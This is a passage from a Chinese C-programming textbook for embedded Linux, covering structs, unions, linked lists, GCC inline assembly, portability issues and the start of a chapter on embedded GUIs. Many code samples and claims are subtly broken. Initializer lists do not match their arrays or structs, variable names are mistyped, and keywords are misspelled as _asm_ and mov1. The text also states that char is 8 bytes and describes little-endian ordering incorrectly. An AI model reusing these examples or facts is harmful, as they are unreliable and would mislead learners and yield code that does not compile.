其一般形式为：



struct

{

类型标识符1 成员名1;

类型标识符2 成员名2;

…

类型标识符n 成员名n;

}变量名表列;



例如：



struct

{

int num;

char name[20];

char sex;

int age;

float score;

char addr[30];

}student1,student2;



关于结构体类型，有几点要说明：

·类型与变量是不同的概念，对结构体变量来说，在定义时一般先定义一个结构体类型，然后定义变量为该类型。只能对变量赋值、存取或运算，而对一个类型却不能。

·对结构体的成员，可以单独使用，其作用与地位相当于普通变量。

·成员也可以是一个结构体变量。

·成员名可以与程序中的变量名相同。

2.结构体变量的引用

由于结构类型是一个复合类型，其由多个成员组成，因此不能访问结构体变量，可用以下三种形式引用结构体变量中的成员。

·结构体变量名.成员名

·指针变量名-〉成员名

·（*指针变量名）.成员名

其中，“.”是成员运算符，用于取得结构体中的成员，在运算符中它的优先级是最高的。例如：



student.age=18;



该语句表示把18赋给结构体变量student的age成员变量。

3.结构体变量的初始化

1）对外部存储类型的结构体变量进行初始化。如



struct student

{

long int num;

char name[20];

char sex;

char addr[30];

}a={89031,"Li Lin",'M',"130 Beijing Road"};

main()

{

printf("No.:%ld\n name:%s\n sex:%c\n,address:%s\n",a.num,a.name,a.sex,a.addr);

}



运行结果如下：



No.:89031

name:Li Lin

sex:M

address:130 Beijing Road



2）对静态存储类型的结构体变量进行初始化。定义部分也可以放到main()函数中。



main()

{

static struct student

{

long int num;

char name[20];

char sex;

char addr[30];

}a={{89031,"Li Lin",'M',"130 Beijing Road"};

printf("No.:%ld\n name:%s\n sex:%c\n address:%s\n",a.num,a.name,a.sex,a.addr);

}




11.3.2　结构体数组

一个结构体变量中可以存放一组数据（如一个学生的学号、姓名、成绩数据）。如果有多个学生的数据需要参加运算，显然应该用数组，这就是结构体数组。结构体数组与以前介绍过的数值型数组不同之处在于，每个数组元素都是一个结构体类型的数据，它们都分别包括各个成员（分量）项。和普通数组一样，结构体数组也需要先定义，再引用。

1.结构体数组的定义

和定义结构体变量的方法相仿，只需说明其为数组即可。其一般形式为：



struct结构体名数组名[常量表达式];



例如：



struct student

{

int num;

char name[20];

char sex;

int age;

float score;

char addr[30];

};

struct student stu[3];



以上定义了一个数组stu，其元素为struct student类型数据，数组有3个元素。也可以直接定义一个结构体数组，如：



struct student

{

int num;

...

}stu[3];



或



struct

{

int num;

...

}stu[3];



数组各元素在内存中连续存放。

2.结构体数组的初始化

结构体数组可以初始化。如：



struct student

{

int num;

char name[20];

char sex;

int age;

float score;

char addr[30];

}stu[3]={{0882301,"Yuan Bo",'M',18,85,"10 Chang jiang Road"},{0882302,"Xie yue hui",'F',20,92,"15 Bei hai Road"}};



【例11-6】对候选人得票的统计程序

设有5个候选人，名字分别为：Yuan Bo,Wang Feng,Xie Yun Wu,Jing Zhi Qiang,Wang Ying Fang，每次输入一个得票的候选人的名字，要求最后输出每个人的得票结果。

[1]在Vi中创建一个新工程文件，命名为"example11_6.c"。

[2]在"example11_6.c"中创建如下所示代码。



#include＜stdio.h＞

#define N 5

struct person

{

char name[20];

int count;

}leader[3]={"Yuan",0,"Wang",0,"Xie",0,"Jing",0,"Li",0};

void main(void)

{

int i,j;

char leader_name[20];

for(i=1;i＜=10;i++)

{

scanf("%s",leader_name);

for(j=0;j＜5;j++)

if(strcmp(leader_name,leader[j].name)==0)leader[j].count++;

}

printf("\n");

for(i=0;i＜5;i++)

printf("%5s:%d\n",leader[i].name,leader[i].count);

}



[3]利用GCC编译并执行这段程序，结果如图11-13所示。
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图　11-13　结构体的使用


11.3.3　指向结构体类型数据的指针

一个结构体类型变量的指针就是该变量所占据的内存段的起始地址。可以设一个指针变量，用来指向一个结构体变量，此时该指针变量的值是结构体变量的起始地址。指针变量也可以指向结构体数组中的元素。指向结构体变量的指针变量定义的一般形式为：



struct 结构体名*结构体指针变量名;



例如：



struct student*p;



定义一个指针变量p，它指向结构体类型struct student的变量。

【例11-7】指向结构体类型数据的指针应用

下面编程实现指向结构体类型数据的指针的应用。

[1]在Vi中创建一个新工程文件，命名为"example11_7.c"。

[2]在"example11_7.c"中创建如下所示代码。



#include＜stdio.h＞

struct student

{

int num;

char name[20];

char sex;

int age;

};struct student stu[3]={{1,"Yuan Bo",'M',18,85,"10 Chang jiang Road"},{2,"Xie yue hui",'F',20,92,"15

Bei hai Road"},{3,"Ding Min",'F',19,87,"10 Huang He Road"}};

void main()

{

struct student*p;

printf("Number Name Sex Age\n");

for(p=stu;p＜stu+3;p++)

printf("%5d%-20s%2c%4d\n",p-＞num,p-＞name,p-＞sex,p-＞age);

}



[3]利用GCC编译并执行这段程序，结果如图11-14所示。
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图　11-14　指向结构体类型数据的指针的应用

p是指向struct student结构体类型数据的指针变量。在for语句中先使p的初值为stu，也就是数组stu第一个元素的起始地址。在第一次循环中输出stu[0]的各个成员值。然后执行p++，使p自加1。p加1意味着p所增加的值为结构体数组stu的一个元素所占的字节数。

执行p++后p的值等于stu+1，p指向stu[1]。在第二次循环中输出stu[1]的各成员值。再执行p++后，p的值等于stu+2，再输出stu[2]的各成员值。再执行p++后，p的值变为stu+3，已不再小于stu+3，停止循环。


11.3.4　用指针处理链表

在实际的程序设计过程中，链表是一种常用的数据结构，由若干个节点组成，它可以在程序的执行过程中动态地建立起来，这种数据结构在程序的执行过程中是动态可变的。链表的组成：

·头指针：存放一个地址，该地址指向一个元素。

·结点：用户需要的实际数据和链接节点的指针。

链表的一般结构如图11-15所示。其中，head是链表的头指针，它指向第一个元素，第一个元素又指向第二个元素，第二个元素指向第三个元素……直到最后一个元素，最后一个元素不再指向其他元素，称其为“表尾”，NULL是链表的结束标志。
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图　11-15　链表的一般结构

这种链表的数据结构必须利用指针变量才能实现。即一个结点中应包含一个指针变量，用它存放下一结点的地址。链表是线性表，又可以分为静态链表和动态链表。静态链表的节点是在程序开始运行时生成的，它们有自己的名称，在各个程序的运行期间占据固定的存储单元，不能动态地开辟新结点，也不能释放自己开辟的结点。动态链表可以动态分配内存，避免内存的浪费。

【例11-8】指针处理链表

下面编程来建立一个学生的学号和成绩的单向链表。

[1]在Vi中创建一个新工程文件，命名为"example11_8.c"。

[2]在"example11_8.c"中创建如下所示代码。



#include＜stdio.h＞

#define NULL 0

struct student

{

long num;

float score;

struct student*next;

};

main()

{

struct student st1,st2,st3,st4，*head，*p;

st1.num=1;st1.score=89;

st2.num=2;st2.score=78;

st3.num=3;st3.score=92;

st4.num=4;st3.score=69;

head=＆st1;

st1.next=＆st2;

st2.next=＆st3;

st3.next=＆st4;

st4.next=NULL;

p=head;

do

{

printf("%ld%5.1f\n",p-＞num,p-＞score);

p=p-＞next;

}

while(p!=NULL);

}



[3]利用GCC编译并执行这段程序，结果如图11-16所示。
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图　11-16　指针处理链表程序输出

程序开始时使head指向str1结点，str1.next指向str2结点，str2.next指向str3结点，str3.next指向str4结点，这就构成链表关系。str4.next=NULL的作用是使str4.next不指向任何有用的存储单元。在输出链表时要借助p，先使p指向str1结点，然后输出str1结点中的数据，p=p-＞next是为输出下一个结点做准备。p-＞next的值是str2结点的地址，因此执行p=p-＞next后p就指向str2结点，所以在下一次循环时输出的是str2结点中的数据。


11.4　共同体

有时需要使几种不同类型的变量存放在同一段内存中。例如，可以把一个整型变量、一个字符型变量、一个实型变量放在同一个地址开始的内存单元中。如图11-17所示。三个变量在内存中所占的字节数不同，但是都是从同一地址开始存放，使用覆盖技术，几个变量互相覆盖。这种使不同变量共用同一段内存空间的结构称为共同体类型结构。
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图　11-17　共同体的内存结构

共同体也称作联合体，共同体类型变量的定义形式为：



union共同体名

{成员列表;

}变量列表;



也可以将类型定义与变量定义分开或者直接定义共同体变量。下面是几种定义的方式，例如：



union data

{

int i;

char ch;

float f;

}a,b,c;



也可以将类型定义与变量定义分开：



union data

{

int i;

char ch;

float f;

};

union data a,b,c;



即先定义一个union data类型，再将a,b，c定义为union data类型。也可以直接定义共同体变量，如：



union

{

int i;

char ch;float f;

}a,b,c;



共同体和结构体的定义形式相同，但是含义不同。结构体变量所占内存长度是各成员占的内存长度之和。每个成员分别占有其自己的内存单元。共用体变量所占的内存长度等于最长的成员的长度。

共同体类型数据的特点如下：

·同一个内存段可以用来存放几种不同类型的成员，但在每一瞬时只能存放其中一种，而不是同时存放几种。

·共同体变量中起作用的成员是最后一次存放的成员，在存入一个新的成员后原有的成员就失去作用。

·共同体变量的地址和它的各成员的地址都是同一地址。

·不能对共同体变量名赋值，也不能企图引用变量名来得到一个值，也不能在定义共同体变量时对它初始化。

·不能把共同体变量作为函数参数，也不能使函数带回共同体变量，但可以使用指向共同体变量的指针。

·共同体类型可以出现在结构体类型定义中，也可以定义共同体数组。反之，结构体也可以出现在共同体类型定义中，数组也可以作为共同体的成员。

共同体变量也要先定义再引用，而且只能引用共同体变量中的成员。引用共同体变量成员的一般形式如下：



共同体变量名.成员



例如，前面定义了a、b、c为共同体变量，下面的引用方式是正确的。



a.i（引用共同体变量中的整型变量i）

a.ch(引用共同体变量中的字符变量ch)

a.f(引用共同体变量中的实型变量f)



【例11-9】共同体的使用

设有若干个人员的数据，其中有学生和教师。学生的数据中包括：姓名、学号、性别、职业、班级。教师的数据中包括：姓名、号码、性别、职业、职务。可以看出，学生和教师所包含的数据是不同的。要求输入人员数据然后输出。

[1]在Vi中创建一个新工程文件，命名为"example11_9.c"。

[2]在"example11_9.c"中创建如下所示代码。



#include＜stdio.h＞struct

{

int num;

char name[20];char sex;

char job;

union data

{

int banji;

char position[10];

}category;

}person[4];

main()

{

int i;

for(i=0;i＜4;i++)

{

scanf("%d%s%c%c",＆person[i].num,＆person[i].name,＆person[i].sex,＆person[i].job);

if(person[i].job=='S')

scanf("%d",＆person[i].category.banji);

else if(person[i].job=='T')

scanf("%s",person[i].category.position);

else

printf("Input error!");}printf("\n");

printf("No.name sex job class/position\n");

for(i=0;i＜4;i++)

{

if(person[i].job=='S')

printf("%-6d%-10s%-3c%-3c%-6d\n",person[i].num,

person[i].name,person[i].sex,person[i].job,person[i].category.banji);

else

printf("%-6d%-10s%-3c%-3c%-6s\n",person[i].num,

person[i].name,person[i].sex,person[i].job,person[i].category.position);

}

}



[3]利用GCC编译并执行这段程序，结果如图11-18所示。
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图　11-18　共同体使用的例子


11.5　实践拓展

1.指针自增/自减后置用法易犯错误

在编程中，特别要注意后置用法中对i++等表达式使用一次后，i的值还要加1。例如：



int c(char*p)

{

int i=0;

while(*p++!='\0')

if(*p=='*')i++;

return i;

}



该程序的运行结果不对，问题就出在while表达式中i++使用完以后，i的值还要加1，正确的用法是将其改为while（*p!='\0'），循环体内再加上p++。

2.指针使用中的类型匹配问题

例：



#include＜stdio.h＞

main()

{

int *p1,x=5;

float*p2;

*p1=3;

p2=＆p1;

printf("%x,%d,%d,%f",p1，*p1,p2，*p2);

}



变量p1没有确定的指向，p2只能指向float型变量。

3.不同类型的指针混用错误

在指针使用中，要注意不同类型的指针混用错误，如以下程序所示。



{

int j=5，*p1;

float x=2.6，*p2;

p1=＆j;

p2=＆x;

p2=p1;

printf("%d,%d\n"，*p1，*p2);

}



4.数组和指针的关系

在C语言中，数组和指针是密切相关的概念，如果x是个数组，i是int型数据，下面两个表达式是等价的：



x[i]和*(x+i)



这两个表达式可以用于访问数组的元素，（x+i）表示的是数组第i个元素的地址，相当于＆x[i]。


11.6　思考与练习

1.写出下面程序的运行结果。



main()

{

struct cmplx

{

int x;

int y;

}

cnum[2]={1,3,2,7};

printf("%d\n",cnum[0].y/cnum[0].x*cnum[1].x);

}



2.写出下面程序的运行结果。



main()

{

char*p="abcdefgh"，*r;

long*q;

q=(long*)p;

q++;

r=(char*)q;

printf("%s\n",r);

}



3.写出下面程序的运行结果。



main()

{

int x=0;

sub(＆x,8,1);

printf("%d\n",x);

}

sub(int*a,int n,int k)

{

if(k＜=n)sub(a,n/2,2*k);

*a+=k;

}



4.已知head指向一个带头结点的单向链表，链表中每个结点包含数据域和指针域。请编写程序实现如图11-19所示链表的逆置。
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图　11-19　链表

5.编写程序，将字符computer赋给一个字符数组，然后从第一个字母开始间隔地输出该串，用指针来实现。

6.有10名学生，每名学生考7门课程，要求找出有不及格课程的学生的学号并输出其全部成绩，用指针来实现。


第12章　Linux C语言嵌入汇编语言与移植性问题

本章要点：

嵌入汇编语言

嵌入式Linux可移植性问题


 12.1　嵌入汇编语言

在C语言中，有许多针对硬件的操作，能很好地利用硬件特性。从一方面来说，C语言也是高级语言，它能很方便地实现各种复杂的编程算法。在嵌入式系统编程中，C语言是首选的程序设计语言，但在某些特定条件下，C语言无法精确地操作硬件，此时往往采用嵌入汇编语言的方法来解决此类问题。相比而言，汇编语言没有占用较大的存储空间和较长的运行时间等缺点，它的运行速度快是高级语言所不能比拟的。


 12.1.1　C和汇编的接口

Linux下用汇编语言编写的代码具有两种不同的形式：一是完全的汇编代码，但是可以使用#include、#ifdef等预处理指令，并能够通过宏定义来简化代码，吸收了C语言的长处；二是在C语言程序中嵌入汇编代码片段，充分发挥C语言和汇编语言的优势，进行混合编程，彼此相互调用，进行参数传递，共享数据结构及数据信息，这种方法可以发挥各种语言的优势和特点，充分利用现有的多种实用程序、库程序等使软件的开发周期大大缩短。

内嵌汇编的重要性首先体现在操作C语言变量和输出值到C语言变量的能力。由于这些特性，内嵌汇编常被用作汇编指令和调用它的C程序之间的接口。

高级语言与汇编语言的接口需要解决的问题如下：一是需要说明和建立调用者与被调用者间的关系，被调用的过程或函数应预先说明为外部类型，如汇编子程序，应用PUBLIC说明其可被外部模块引用；调用程序则应预先说明要引用的外部模块名；二是参数传递问题在汇编子程序之间通常采用寄存器作为参数传递的工具，汇编语言与高级语言程序间的参数一般采用堆栈来传递，即调用程序将参数依次压入堆栈中，当被转调用程序后，再从堆栈中依次弹出参数作为操作数使用。为此，必须了解各种语言的堆栈结构、生成方式和入栈方式等。BASIC、FORTRAN、PASCAL等语言其参数进栈顺序与参数在参数表中出现的顺序相同，即从右到左，而C语言则相反。


12.1.2　内嵌汇编的语法

GCC提供了内嵌汇编的功能，使用AT＆T UNIX汇编语法，可以在C代码中直接内嵌汇编语言语句，大大方便了程序的设计。Linux的内核很大程度上使用了GCC内嵌汇编的形式。C程序中嵌入汇编后可以无分号（C语言的语句以分号结束，汇编语句是C语言中唯一以换行结束的语句）。在C语言中用关键字"asm"来作为一个嵌入汇编的指令，使用关键字"extern"对函数进行显式声明。参数传递顺序是按其在参数表中出现顺序的反序被压入堆栈中的，即第一个参数最后进入堆栈，它在栈中的地址最低。

在内嵌汇编中，可以将C语言表达式指定为汇编指令的操作数，而且不用去管如何将C语言表达式的值读入哪个寄存器以及如何将计算结果写回C变量，用户只要告诉程序中C语言表达式与汇编指令操作数之间的对应关系即可，GCC会自动插入代码完成必要的操作。C语言允许嵌入4类汇编指令：一般指令、串指令、跳转指令、数据分配和定义类指令。

其基本格式为：



_asm_("asm statements");



例如：



_asm_;

_volatile_("mov1%ecx,%eax");



·_asm_：是GCC关键字asm的宏定义，表示后面的代码为内嵌汇编。

·_volatile_：表示编译器不要优化代码，后面的指令保留原样。

·volatile：是汇编的别名，括号里面是汇编指令。

使用asm和_asm_关键字都可以，如果asm关键字和程序其他变量有冲突就可以使用_asm_。

如果有不只一行指令，每行要加上双引号，并且要在后面加上\n\t。这是因为GCC将每行指令作为一个字符串传给as(GAS)，使用换行和TAB可以给汇编器传送格式化好的代码行。例如：



_asm_("movl%eax,%ebx\n\t"

"movl$1,%eax\n\t"

"movl%ah,(%ebx)");



通常嵌入到C代码中的汇编语句很难做到与其他部分没有任何关系，因此更多时候需要用到完整的内嵌汇编格式。在完整的形式中，可以指定操作数，可以指定输入/输出寄存器和程序中涉及的clobbered寄存器列表。



_asm_(汇编语句模板:输出部分:输入部分:破坏描述部分)



该格式共4个部分：汇编语句模板、输出部分、输入部分、破坏描述部分，各部分使用“:”隔开。汇编语句模板是必不可少的，其他三部分可选，如果使用了后面的部分，而前面部分为空，也需要用":"格开，相应部分内容为空。例如：



_asm_("cli":"memory");



（1）汇编语句模板

汇编语句模板由汇编语句序列组成。语句之间用";"、"\n"或"\n\t"分开，指令中的操作数可以使用占位符引用C语言变量，操作数占位符最多10个，名称如下：%0，%1……%9。指令中使用占位符表示的操作数，总被视为long型（4个字节），但对其施加的操作根据指令可以是字或者字节，当把操作数当做字或者字节使用时，默认为低字或者低字节。对字节操作可以显式地指明是低字节还是次字节，可在%和序号之间插入一个字母，"b"代表低字节，"h"代表高字节。例如：%h1。

（2）输出部分

输出部分描述输出操作数，不同的操作数描述符之间用逗号隔开，每个操作数描述符由限定字符串和C语言变量组成。每个输出操作数的限定字符串必须包含“=”，表示它是一个输出操作数。例：



_asm__volatile_("pushfl;popl%0;cli":"=g"(x))



描述符字符串表示对该变量的限制条件，这样GCC就可以根据这些条件决定如何分配寄存器，如何产生必要的代码处理指令，如何处理与C表达式或C变量之间的联系。

（3）输入部分

输入部分描述输入操作数，不同的操作数描述符之间使用逗号隔开，每个操作数描述符由限定字符串和C语言表达式或者C语言变量组成。

（4）限制约束部分

限制约束部分的作用是指示编译器如何处理其后的C语言变量与指令操作数之间的关系。表12-1列出了常用限制符。
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（5）破坏描述部分

破坏描述符用于通知编译器使用了哪些寄存器或内存，由逗号隔开的字符串组成，每个字符串描述一种情况，一般是寄存器名；除寄存器外还有"memory"。例如："%eax"、"%ebx"、"memory"等。

下面给出一个嵌入汇编的例子。将数组一赋值给数组二，要求每一字节都相符。首先定义两个字符串：



char string1[1024],string2[1024];



方法1：



int i;

for(i=0;i＜1024;i++)

*(string2+i)=*(string1+i);



方法2：



#ifdef_PC_

int i;

for(i=0;i＜1024;i++)

*(string2+i)=*(string1+i);

#else

#ifdef_ARM_

_asm_

{

MOV R0,string1

MOV R1,string2

MOV R2,#0

loop:

LDMIA R0!,[R3-R11]

STMIA R1!,[R3-R11]

ADD R2,R2,#8

CMP R2,#400

BNE loop

}

#endif



方法1是最常见的方法，使用了1024次循环；方法2则要依赖不同的平台，在ARM平台下，用嵌入汇编仅用128次循环就完成了同样的操作。

这个例子表明熟练使用相应的嵌入汇编，可以大大提高程序执行的效率。但是使用了嵌入汇编，会限制程序的可移植性。

嵌入汇编比调用汇编子程序更方便、灵活，功能也更强。但嵌入汇编不是一个完整的汇编程序，所以许多错误不能马上被检查出来。


12.1.3　memory描述符

memory描述符比较特殊，是内嵌汇编中比较难懂的部分。memory描述符表示汇编代码以不可预知的方式改变了内存，这样GCC在优化时就不会让缓存到寄存器的内存变量使用该寄存器通过汇编代码，否则可能会发生同步出错。

memory描述符告知GCC：

·不要将该段内嵌汇编指令与前面的指令重新排序；也就是在执行内嵌汇编代码之前，它前面的指令都执行完毕。

·不要将变量缓存到寄存器，因为这段代码可能会用到内存变量，而这些内存变量会以不可预知的方式发生改变，因此GCC插入必要的代码先将缓存到寄存器的变量值写回内存，如果后面又访问这些变量，需要重新访问内存。

如果汇编指令修改了内存，但是GCC本身却察觉不到，因为在输出部分没有描述，此时就需要在修改描述部分增加"memory"，告诉GCC内存已经被修改，GCC得知这个信息后，就会在这段指令之前，插入必要的指令将前面因为优化缓存到寄存器中的变量值先写回内存，如果以后又要使用这些变量再重新读取。使用"volatile"也可以达到这个目的，但是我们在每个变量前增加该关键字，不如使用"memory"方便。


12.1.4　GCC对内嵌汇编语言的处理方式

GCC在编译内嵌汇编语言时，采取的步骤如下：

（1）变量输入

根据限制符的内容将输入操作数放入合适的寄存器，如果限定符指定为立即数（"i"）或内存变量（"m"），则该步被省略，如果限定符没有具体指定输入操作数的类型（如常用的"g"），那么GCC会视需要决定是否将该操作数输入到某个寄存器中。这样每个占位符都与某个寄存器、内存变量或立即数形成了一一对应的关系。

（2）生成代码

根据这种对应关系（还应包括输出操作符），用这些寄存器、内存变量或立即数来取代汇编代码中的占位符。注意，此步骤并不检查由这种取代操作所生成的汇编代码是否合法。

（3）变量输出

按照输出限定符的规定将寄存器的内容输出到某个内存变量中。如果输出操作数的限定符指定为内存变量（"m"），则该步骤被省略。

C表达式或者变量与寄存器的关系由GCC自动处理，只需使用限制字符串指导GCC如何处理即可。限制字符必须与指令对操作数的要求相匹配，否则产生的汇编代码将会有错。例如，指令movl允许寄存器到寄存器、立即数到寄存器的操作等，但是不允许内存到内存的操作，因此两个操作数不能同时使用"m"作为限定字符。


12.2　嵌入式Linux可移植性问题

在嵌入式系统的程序设计中，由于软硬件平台的多变性，对程序的可移植性、可扩充性等有严格的要求。移植性问题在多平台设计环境下是十分重要的，这就要求程序员在编写代码的同时，尽量考虑到各种可能出现的问题，比如数据对齐、字节顺序等。

移植性问题包含的内容很广泛，本节要介绍的是代码在不同体系结构下的移植问题。Linux是一个可移植性非常好的操作系统，它广泛支持了许多不同体系结构的计算机。Linux内核是高度可移植的，若希望在不同平台下开发的应用程序或设备驱动程序也能很好地兼容，这就要求用户在开发的过程中要充分考虑与移植相关的内容。本节将讨论数据类型、数据对齐，以及与字节顺序相关的移植性问题。


 12.2.1　字长和数据类型

能够由机器一次完成处理的数据称为字，不同的体系结构具有不同的字长，表12-2列出了一些常见体系结构的字长。
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因此在不同体系结构下，C语言数据类型的大小不是相同的，用户必须安排特定大小的数据项，才能更好地进行移植。

在编写程序代码之前，有必要了解各种常用数据类型的长度，比如说char、short、int和long的长度。

·char类型的长度被定义为8字节。

·short类型的长度被定义为至少2字节。在有些计算机上，对于某些编译器，short类型的长度可能是4个字节，甚至更长。

·int类型是一个整数的“自然”大小，其长度至少为2字节，并且至少要和short类型一样长。在16位计算机上，int类型的长度可能为2字节；在32位计算机上，可能为4字节；当64位计算机流行起来后，int类型的长度可能会达到8字节。

·long类型至少和int类型一样长（因此，它也至少和short类型一样长）。long类型的长度至少为4字节。32位计算机上的编译程序可能会使short、int和long类型的长度都为4字节。

如果需要一个4字节长的整型变量，不能想当然地以为int或long类型能满足要求，而要用sizeof()来检测int和long的长度；再根据检测的结果，使用typedef把一种固有的类型定义为用户所需要长度的类型，并在其前后加上相应的#ifdef指令。



#ifdef four_Byte_long

typedef long int4;

#endif



Linux内核在/usr/src/linux/include/asm/types.h文件中也定义了一些长度确定的数据类型。



typedef_signed_char_s8;/*带符号字节*/

typedef unsigned char_u8;/*无符号字节*/

typedef_signed_short_s16;/*带符号16位整型*/

typedef unsigned short_u16;/*无符号16位整型*/

typedef_signed_int_s32;/*带符号32位整型*/

typedef unsigned int_u32;/*无符号32位整型*/

typedef_signed_long long_s64;/*带符号64位整型*/

typedef unsigned long long_u64;/*无符号64位整型*/




12.2.2　数据对齐

数据对齐是跟数据块在内存中的位置相关的话题。如果一个变量的内存地址正好是它长度的整数倍，它就被称作是自然对齐的。举例来说，对于一个32位类型的数据，如果它在内存中的地址刚好可以被4整除（也就是最低两位为0），那它就是自然对齐的。一些体系结构对对齐的要求非常严格。通常像基于RISC的系统，载入未对齐的数据会导致处理器发生陷入错误。还有一些系统可以访问没有对齐的数据，只不过性能会下降。

编写可移植代码值得考虑的一个问题是，如何存取不对齐的数据，保证所有的类型都能够自然对齐。例如，如何读取存储在一个不是4字节倍数的地址的4字节值。i386用户常常存取不对齐数据项，必须注意，并不是所有的体系结构都允许。很多现代的体系会在发生上述事件时产生一个异常，每次程序试图进行不对齐数据传送时，数据传输由异常处理来处理，牺牲了很大的性能。如果用户需要存取不对齐的数据，应当使用下列宏：



#include＜asm/unaligned.h＞

get_unaligned(ptr);

put_unaligned(val,ptr);



这些宏是无类型的，并且用在每个数据项，不管它是1字节、2字节、4字节或者8字节。

进行不对齐的数据操作严重影响系统的性能，虽然在现代的系统里采用异常处理机制，但不是通用的方法，比如在sparc或者mips上发生不对齐数据操作时就发生总线错误。不对齐虽然能节省内存空间，但是不适合移植性编程，为了让编写的程序可以跨平台移植，必须使用数据对齐。

在数据对齐的处理上，编译器的作用也需要注意，同样的数据结构可能在不同的平台上进行不同的编译。编译器可能根据各平台不同的规则来安排结构的成员对齐。因此数据对齐不仅依赖处理器架构，也依赖于编译器的具体操作。下面来分析一个数据对齐的例子。结构体定义如下：



struct A_struct

{

char x;/*1字节*/

unsigned long y;/*4字节*/

unsigned short z;/*2字节*/

char u;/*1字节*/

};



由于该结构不能准确地满足各个成员自然对齐，所以它在内存中不是按照原样存放的。编译器会在内存中创建一个类似下面给出的结构体：



struct B_struct

{

char x;/*1字节*/

u8_pad0[3];/*3字节*/

unsigned long y;/*4字节*/

unsigned short z;/*2字节*/

char u;/*1字节*/

u8_pad1;/*1字节*/

};



填补的变量都是为了能够让数据自然对齐而加入的。第一个填充占用了3个字节的空间，保证y可以按照4字节对齐。第二个填充是为了填补struct本身的大小。额外的这个填补使结构体的长度能够被4整除，这样，在由该结构体构成的数组中，每个数组项就会自然对齐了。


12.2.3　字节顺序

在将应用程序从一种架构类型迁移至另一种架构类型的过程中，经常会遇到字节排列顺序（endianness）问题。字节排列顺序是数据元素及其单个字节在内存中存储和表示时的顺序。处理器对字取值时既可能将最低有效位所在的字节当作第一个字节（最左边的字节），也有可能将其当作最后一个字节（最右边的字节）。

有两类字节排列顺序：高位优先（big-endian）和低位优先（little-endian）。

高位优先：最高有效位所在的字节放在最高字节位置上，其他字节依次放在低字节位置上。如POWER、PowerPC和SPARC处理器。

低位优先：最低有效位所在的字节放在最高字节位置上，其他字节依次放在低字节位置上。如Intel和Alpha处理器。

数据元素转换使用联合数据结构或使用和操作位域导致数据类型不匹配，会出现字节顺序问题。因此在进行操作的时候，要了解平台的字节顺序属性。


12.3　实践拓展

这里我们讨论一下AT＆T汇编语言语法与Intel汇编语言语法的区别。

在DOS/Windows下的汇编语言基本上都是Intel风格的，在UNIX和Linux系统中，大多采用的是AT＆T风格。二者的主要区别如下：

在Intel语法中，寄存器和立即数不需要前缀；AT＆T中寄存器需要加前缀“%”，立即数需要加前缀“$”。AT＆T和Intel格式的源操作数和目标操作数的位置刚好相反，在Intel汇编格式中，目标操作数在源操作数的左边，而在AT＆T汇编格式中，目标操作数在源操作数的右边。在AT＆T汇编格式中，操作数的字长由操作符的最后一个字母决定，后缀'b'、'w'、'l'分别表示操作数为字节（byte，8位）、字（word，16位）和字长（long，32位）；在Intel格式中，操作数的字长是用'byte ptr'和'word ptr'等前缀表示的。在AT＆T汇编格式中，绝对转移和调用指令的操作数前要加上‘*’作为前缀，而在Intel格式中则不需要。


12.4　思考与练习

1.内嵌汇编的语法由哪几部分组成？

2.常用的限制字符有哪几类？

3.C语言中的结构体如何进行数据对齐？

4.解释两类字节的排列顺序。


第三篇　高级编程


 第13章　嵌入式Linux环境下GUI开发技术

本章要点：

嵌入式图形用户界面

Linux下几种主流的GUI介绍

基于GTK+的图形界面编程


 13.1　嵌入式图形用户界面概述

图形用户界面（Graphics User Interface,GUI）是一种以图形化为基础的用户界面，使用统一的图形操作方式，如可移动的视窗、选项及鼠标，它是用户与操作系统之间的桥梁。GUI的重要优势在于使用户摆脱了在命令行提示符下与操作系统进行交互的方式，用户可以仅仅通过鼠标单击来快速地熟悉程序的操作，使得计算机成为大多数人都能够使用和接受的工具，例如Windows系统就是PC机中占主导地位的GUI系统。

但是，由于受到硬件条件等的限制，现在许多嵌入式设备的用户界面仍然非常单调、简单。其原因是，一方面许多传统的嵌入式系统用于工业控制等方面，人机交换的内容较少；另一方面受到技术的限制，在嵌入式系统中难以实现图形化的人机交互界面。随着嵌入式设备的硬件条件提高，对于嵌入式系统中轻量级图形用户界面的需求也就越来越迫切。这些系统一般不希望建立在庞大累赘的、非常消耗资源的操作系统和图形用户界面上，比如Win-dows或X Window。同时，嵌入式系统对图形用户界面在轻型和可定制方面有较高的要求，希望图形用户界面占用资源少、性能高、可靠性高、易移植、可配置。

在嵌入式环境下，GUI系统的整体架构跟桌面PC差不多，如常用的绘图函数库和字型库、事件处理机制等都是嵌入式GUI系统所要解决的问题。但是嵌入式系统本身由于体积小、资源少的特点，它在整体设计上必须较为严谨，考虑的条件更多。

UNIX环境下的图形视窗标准为X Window System（以下简称X标准），Linux是类UNIX系统，所以顶层运行的GUI系统是兼容X标准的XFree86系统。X标准大致可以划分为XServer、Graphic Library（底层绘图函数库）、Toolkits、Window Manager和Internationalization（I18N）等几大部分。

虽然X架构较好，但是不怎么适用于嵌入式环境，因为实际工作起来过于庞大，因此许多嵌入式Linux GUI系统会把上述几点合并，甚至全部绑到一起，当然这样同时也会失去很多弹性与扩展功能，但为了适应嵌入式系统，这也是一个解决问题的方法。

一般来说，适合于嵌入式Linux系统的图形用户界面（GUI）应该具有下面的一些特点：

·体积小，占用较少的Flash和RAM。安装GUI系统的时候应根据实际的需求对GUI系统进行方便的裁剪和精简，以减少安装所需要的存储空间；在系统运行的时候应占用尽可能少的RAM。

·耗用系统资源尤其是CPU的资源较少，在硬件性能受限的条件下能达到相对较快的系统响应速度，同时减小CPU的功耗，以达到节电的效果。

·系统独立，能适用于不同的硬件。

·上层接口与硬件无关，高度可移植。要求嵌入式的GUI系统不是针对某种特定的硬件设计（如处理器、显示设备、输入设备等），可以在不同的操作系统上运行。

·高可靠性。

·在某些应用中具有实时性。


13.2　Linux下几种主流的GUI

目前常见的面向嵌入式Linux的GUI系统主要有MiniGUI、Qt/Embedded、MicroWindows（Nano-X Window）、OpenGUI以及GTK+等。下面对它们进行介绍。


 13.2.1　MiniGUI

